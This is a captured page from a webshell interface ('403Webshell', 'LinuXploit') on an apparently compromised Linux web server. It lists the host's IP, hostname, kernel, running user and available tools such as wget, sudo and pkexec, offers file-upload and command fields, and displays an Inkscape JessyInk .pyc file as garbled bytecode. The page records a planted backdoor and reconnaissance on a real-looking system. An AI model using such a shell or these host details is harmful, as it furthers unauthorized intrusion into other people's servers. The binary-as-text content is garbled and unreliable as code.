403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/jessyink_summary.cpython-310.pyc
o

5�a��@sVdZddlmZddlZddlmZmZGdd�deej�Ze	dkr)e��
�dSdS)z$Effect to print out jessyInk summary�)�defaultdictN)�
JessyInkMixin�_c@sLeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	e
dd��ZdS)�SummaryzPrint of jessyInk summarycCs|�d�dS)Nz--tab)�add_argument)�self�pars�r	�2/usr/share/inkscape/extensions/jessyink_summary.py�
add_argumentsszSummary.add_argumentscCs|��|j�d�D]}|�d�}|r|�td|�d���q
|�td��q
g}d}|j���tj�D]}|�d�r>|}q4|�	|�q4|dur[|�td��|�
|dd	t|�d
g�t|�D]\}}|�td��
|d��|�
|d|dt|�|jg�q_dS)
Nz//svg:script[@id='JessyInk']zjessyink:versionzJessyInk script version z installed.zJessyInk script installed.zjessyink:master_slidez
Master slide:�	z<the number of the slide>z<the title of the slide>z
Slide {0!s}:�)�is_installed�svg�xpath�get�msgr�descendants�inkex�Layer�append�
describe_node�len�	enumerate�format�label)r�node�version�slides�master_slide�i�slider	r	r
�effects*

� �zSummary.effectcCsT|�t|�d|j����|�||d�|�||d�|�|||�|�||�dS)zStandard print out formatterzLayer name: �In�OutN)rrr�describe_transition�describe_autotext�describe_effects)rr�prefix�datr	r	r
r;s
zSummary.describe_nodecCs�t�|�d|����}|rG|d}|dkr6d|vr6t|dd�}|�t|�d|�d|�d|�d	���d
S|�t|�d|�d|����d
Sd
S)z&Display information about transitions.zjessyink:transition�name�appear�length�@�@zTransition z: z (z s)N)r�Styler�intrr)rrr(�
transition�transr*r,r	r	r
r%Ds*"�zSummary.describe_transitionc	Cs�|d|d|dd�}t|�d��D]3\}}|s$|�td|�d���|���d�}||�d	�}|�t|�d
|j�d|�d|�d
���qdS)z%Display information about auto-texts.rr
�)�	slide_num�num�titlez.//*[@jessyink:autoText]�
zAuto-texts:�idzjessyink:autoTextz	"z" (object id "z") will be replaced by "z".N)rrrr�	getparentr�text)	rrr(r)�
auto_texts�x�child�pid�valr	r	r
r&Os��zSummary.describe_autotextc
CsXt|�|�dd�d�}t|�D]�\}\}}d}|dd}|s-|td|�d|�d	��7}n|td|�d
|�d|�d	��7}|D]b}	|	d}
|	d
dkrX|t|�d|
�d��7}n%|t|�d|
�d��7}|	ddkrq|td�7}n|	ddkr}|td�7}|	ddkr�|td��|	d�7}d|	vr�|td��t|	d�d�7}q?|�|d�qdS)z"Display information about effects.cSs|dS)Nrr	)r>r	r	r
�<lambda>]sz*Summary.describe_effects.<locals>.<lambda>)�key�r�orderr6zInitial effect (order number z):zEffect z (order number r7�type�viewz'	View will be set according to object "�"z		Object "�	direction�inz will appear�outz will disappearr*r+z using effect "{0}"r,z in {0!s} sr-z.
N)�sorted�collect_effectsrrrr/r)rrr(�effectsr;�enumr"�retrB�item�eidr	r	r
r'[s. ��zSummary.describe_effectscCs�tt�}|�d�D]"}t�|�d��}d|d<|�d�|d<d|d<||d�|�q	|�d	�D]"}t�|�d
��}d|d<|�d�|d<d|d<||d�|�q1|�d�D]}t�|�d
��}|�d�|d<d|d<||d�|�qY|S)z"Collect information about effects.z.//*[@jessyink:effectIn]zjessyink:effectInrGrFr7r"rCrBz.//*[@jessyink:effectOut]zjessyink:effectOutrHz.//*[@jessyink:view]z
jessyink:viewrD)r�listrrr.rr)rrKr<�effect_datar	r	r
rJ{s&zSummary.collect_effectsN)�__name__�
__module__�__qualname__�__doc__rr"rr%r&r'�staticmethodrJr	r	r	r
rs	 r�__main__)rU�collectionsrr�jessyink_installrr�EffectExtensionrrR�runr	r	r	r
�<module>s{�

Youez - 2016 - github.com/yon3zu
LinuXploit